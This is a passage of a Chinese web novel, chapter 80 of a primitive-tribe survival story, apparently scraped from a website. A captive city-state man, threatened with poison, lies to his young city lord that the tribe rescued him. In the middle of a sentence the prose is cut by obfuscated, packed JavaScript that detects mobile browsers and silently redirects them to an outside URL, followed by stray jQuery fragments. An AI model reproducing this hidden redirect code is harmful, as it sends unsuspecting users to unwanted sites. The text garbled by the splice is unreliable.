80. 第 80 章

作品:《原始部落生存指南[基建]

    被松绑的阿刀没有被再次捆上。


    他已经被告知大概一刻钟后就会与族人们碰面,让他尽快做好准备。


    阿刀内心疑窦丛生,部落人怎么会知道待会会碰上城邦人。


    但他没有问出口。


    部落人状似无意地包围着他,阿刀虽然四肢得到了解放,身子也能自由活动了,但是这场戏没演完之前,他的人身自由还是掌握在部落人手里。


    果然,一刻钟后,视线尽头的风沙里出现了一队人的身影,队伍中间似乎有一个木制的轿子,四角各站着一个人,他们用肩膀扛着轿子,晃晃悠悠的轿子里还坐着一个人。


    风沙里,那队人还有轿子里的人都若隐若现的。


    到了这个时候,他们才发现了从对面出现的部落人,惊疑声传进简椿的耳朵里,她勾起嘴角,回头看向队伍中央的阿刀。


    “仔细看看,那些是不是你们城邦的族人。”


    阿刀从看清那个轿子的瞬间,神色就变得很奇怪,一种惊喜却夹杂着埋怨的情绪出现在脸上。


    “是,是我的族人。”


    “从你的脸上看,这些族人的身份似乎还不一般呢。”


    阿刀想隐瞒,却想起了他被关押的这些日子还有被迫吃下毒药肚子绞痛的瞬间,于是抽了抽嘴角,如实说道,“的确不一般,是……”


    简椿做了一个暂停的手势,“让我猜猜。”她又看向已经镇定下来的城邦人队伍,幽幽地问道,“出行还搞这么大的阵仗,不会那位就是你们的城主大人吧?”


    阿刀诧异地望向简椿,似乎不明白她为什么每次都能拿准眼前的事。


    简椿也讶异地挑了挑眉,她只是根据阿刀的表情随便猜的而已,没想到那个坐轿子的人真的会是他们的城主,只是抓了他们一个狩猎小队的人,竟然引来了城主?


    部落人的队伍已经停了下来,城邦人还在继续往前。


    阿锋走在轿子的侧面:“城主大人,那些就是我在矮人国遇到的部落人,但是……但是他们队伍后头并没有押着我们的族人,这,这是怎么回事?”


    轿子四周用轻薄的麻布隔绝风沙,绮撩起帘子的一角,朝着部落人的方向看去。


    部落人站在不远处,人数比她想的还要少,见到他们之后连神色都没有变化,他们身后也并没有其他人了。


    阿锋还在默默念叨,似乎想不通究竟是怎么回事。


    “但是那个部落人当时说的那些话,又不像是骗人,她骗我又有什么用呢,他们肯定是把被抓的其他族人藏起来了。”阿锋想不通,误打误撞说对了事实,但是口说无凭,绮的心情明显变差了许多。


    “等,等等。”


    就这么一会,他们离部落人更近了,阿锋似乎看到了什么。


    “那个是阿刀吗?失踪狩猎队的领头,阿刀!”他语气激动,有了这个发现,似乎就能佐证部落人是真的抓走了城邦人,他没有谎报消息,“我就说,部落人当时嚣张叫嚷的模样不像是假的!”


    两队人马终于近到能看清对方的表情。


    木轿子的帘子也被旁边的人掀起,绮端坐在轿子的中央,斜睨着部落人。


    阿锋手指着简椿,“部落人,你还记得我吗?”


    简椿没有回答他,甚至连眼色都不分他一眼,径直看向坐在轿中的城邦城主。


    她竟然这么年轻?!


    绮也在打量站在部落人正中间的简椿。


    阿锋又嚷嚷道,“喂,耳朵聋了吗?我喊你听不到吗?”


    潇上前用剑指着阿锋指人的手,她的身高比阿锋还要高一些,于是她俯视地看向他,眼里也是不屑。


    “怎么,想打架吗?”


    有了这句话作为苗头,双方本就互看不顺眼的气氛被瞬间点燃,战斗一触即发。


    就在这瞬间,阿刀像是被人推了一把,踉跄着冲出人群,跪倒在地上,哀嚎着叫嚷。


    “城主!城主大人。”


    阿锋见状眼疾手快地把阿刀拉至自己身后。


    “卑鄙又下贱的部落人,今天你们也别想从这里离开了。把我们其他的族人藏哪里了,是不是矮人从中帮了你们?我们活要见人,死要见尸。”阿锋的语气趾高气扬。


    “你们城邦人真是不分青红皂白,对我们部落人也总是有说不清的恶意,救了你们的族人,还要被你们痛斥。”


    “救?”阿锋微抬下巴,语气被逗笑一般,“救了我的族人,你说他吗?”


    简椿一脸正经,“当然啊,说起来这样我还算是你们城邦人的恩人。”


    “胡说八道!那日你在矮人矿洞里可不是这么说的,你说你捆绑走了不少城邦人,还让我赶紧想法子用东西来换他们性命呢。”阿锋执着于在城主面前证明自己。


    “我可没这么说,我当时是说救了你的一位族人,你听岔了吧?”


    “你是怕被我们城邦追杀吧,临到头了改口?”


    “如果你听成我们绑走了城邦人,那你当时怎么不设法救你的族人,要等到现在呢?我们具体绑走了几位城邦人,我看你也说不上来。”阿锋当时对部落人的不屑和不相信,此刻就变成了戳穿他在城主面前撒谎的利器了。


    他绝对不能被城主发现他当时的不上心,以及事后禀告时用美化过的说法。


    于是他不回答简椿的问题,转移话题道,“现在唯一的人质已经回到了我们手里,我劝你们如实说清楚剩下的族人在何处,究竟是被你们杀了,还是有人帮助了你们把他们藏起来了。”


    简椿:“你的确该问问你的族人,这是不是对救命恩人该有的态度。”


    阿刀神色紧张地站在阿锋背后,阿锋敛住眸子,看向阿刀。


    “现在你没有人身危险,可以把真相告诉我们了,我保证会给你讨公道,对你下手的部落人我们一个都不会放过。”阿锋的语气循循善诱。


    从阿锋前面的只言片语里,阿刀笃定他并先前压根没有想过救他们,现在倒是在这假装,当时在矮人矿洞前挥袖离去的模样


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374505|193184||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他还牢牢记着呢。


    阿刀看了看阿锋,又瑟缩着抬头看向城主。


    原本一言不发的绮终于开口了,“我会给你撑腰的,你受委屈了。”


    “城主大人……”他好些时日的委屈和愤懑似乎就在这一句话里消散了,能得到城主的怜惜和厚爱,他求之不得,但他心里刚冒出和城主说真话的念头,心跳就陡然加快,腹部似乎又有了绞痛的趋势。


    他瞬间倒吸一口凉气,“城主大人,的确是部落人救了我。”


    “我就说,什么,你说什么?”阿锋不可置信地看向阿刀,他用手揪住阿刀的领子,“你可是城邦人,那些低贱的血脉用了什么威胁了你,让你的脑子都不清醒了。”


    阿刀的喉咙被衣领卡住,呼吸又变得艰难起来,他已经被连日的折腾彻底磨没了心气,什么高贵低贱的血脉,通通是个屁!


    好不容易回到城邦,竟然还要受到族人的威胁。


    他痛苦地扭头向城主绮求救。


    “阿锋!”绮厉声喝斥,阿锋才不情不愿地松手。


    “你已经回到城邦人的队伍里了,不会再受到他们的威胁了,可以说出实话。”


    阿刀捂着脖子咳嗽,他弯下身子跪了下来,“城主大人,真的是部落人救了我。”


    有了第一次的撒谎,第二次说出口就变得更流畅了。


    “那个部落人说的没有错,就是她救了我,当时我带着手下准备去捕猎沙甲兽,但是突然遭遇了一场风暴,风沙之大,彻底困住了我们,再加上沙甲兽的威力,是部落人把我从为难中救了出来。”


    “既然你说是被救了,那你怎么不立刻返回城邦?还要等到我们来找你?”


    阿锋像是抓住了他话语里的漏洞,毫不留情地戳破:“依我看,你就是背叛了城邦,背叛了自己的血统,竟然和部落人狼狈为奸。”


    阿刀的情绪也变得激昂,“你在矮人国时,既没有听到部落人的话便来救我,现在又不相信我说的话,我看你才最为无耻!”


    “你!”


    两人对视,眼底都是对对方的恶意。


    部落人们则是一言不发地看戏,只有简椿在心里暗自夸奖阿刀,好演技啊!


    绮愤怒地一拍轿子的板,还没说话,对峙的两人便耸起脖子,对着她弯腰低头。


    她指了指阿刀,“所以你为什么没有及时返回部落。”


    阿刀吞了口口水,失落道,“我们追着沙甲兽到了矮人国附近才遇险的,当时我的腿受伤了,不能走动,他们便决定把我一同带到矮人国去。”


    他顿了顿,语气里似乎还有哽咽,鼻音也变重了,“我的手下,都淹没在那场风暴里,我没脸回城邦了,我就应该一同了结在那场鲜血里。”


    阿刀埋首痛哭,他的谎必须一辈子圆下去了,在城主面前说谎,这也就意味着过去和他朝夕相处的那些手下是真的再也不能出现了,活着也和死了没有差别,所以他彻底释放了自己的情绪,眼泪在此刻也显得无比真实。